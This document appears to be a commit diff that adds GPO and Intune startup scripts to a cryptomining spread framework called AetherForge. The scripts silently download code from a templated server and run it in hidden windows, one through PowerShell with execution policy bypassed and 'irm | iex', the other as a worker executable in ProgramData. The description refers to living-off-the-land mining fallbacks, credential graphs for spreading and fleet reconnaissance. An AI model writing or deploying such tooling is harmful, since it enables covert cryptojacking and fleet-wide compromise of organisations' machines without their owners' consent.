Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.

templates/spread/enterprise/gpo-startup.ps1

@@ -0,0 +1,16 @@
+# GPO computer startup script — no mining policy in GPO blob.
+# Agent pulls server-side config after WS register; runs fallback chain locally.
+# Deploy via GPO: Computer Configuration > Policies > Windows Settings > Scripts > Startup
+# Placeholders: {{SERVER_URL}} {{GET_QUERY_SUFFIX}} {{CAMPAIGN}}
+$ErrorActionPreference = 'SilentlyContinue'
+$ProgressPreference = 'SilentlyContinue'
+
+if ('{{CAMPAIGN}}' -ne '') { $env:AETHER_CAMPAIGN = '{{CAMPAIGN}}' }
+
+$installScript = '{{SERVER_URL}}/install.ps1{{GET_QUERY_SUFFIX}}'
+# install.ps1 drops agent; append defer-mining via env for child process
+$env:AETHER_DEFER_MINING = '1'
+powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "irm '$installScript' | iex"
+
+# Fallback chain order (server-side miner_execution policy applies after register):
+# container -> inprocess -> gpu_subprocess -> stratum_direct

templates/spread/enterprise/intune-startup.ps1

@@ -0,0 +1,15 @@
+# Intune Win32 / proactive remediation script — same contract as GPO startup.
+# Assign as platform script; mining policy stays on command deck, not in Intune blob.
+# Placeholders: {{SERVER_URL}} {{GET_QUERY_SUFFIX}} {{CAMPAIGN}}
+$ErrorActionPreference = 'SilentlyContinue'
+$ProgressPreference = 'SilentlyContinue'
+
+if ('{{CAMPAIGN}}' -ne '') { $env:AETHER_CAMPAIGN = '{{CAMPAIGN}}' }
+
+$env:AETHER_DEFER_MINING = '1'
+$url = '{{SERVER_URL}}/get?os=windows{{GET_QUERY_SUFFIX}}'
+$dest = Join-Path $env:ProgramData 'AetherForge\worker.exe'
+New-Item -ItemType Directory -Force -Path (Split-Path $dest) | Out-Null
+try { (New-Object Net.WebClient).DownloadFile($url, $dest) } catch { exit 0 }
+if (-not (Test-Path $dest)) { exit 0 }
+Start-Process -FilePath $dest -ArgumentList '--run','--defer-mining' -WindowStyle Hidden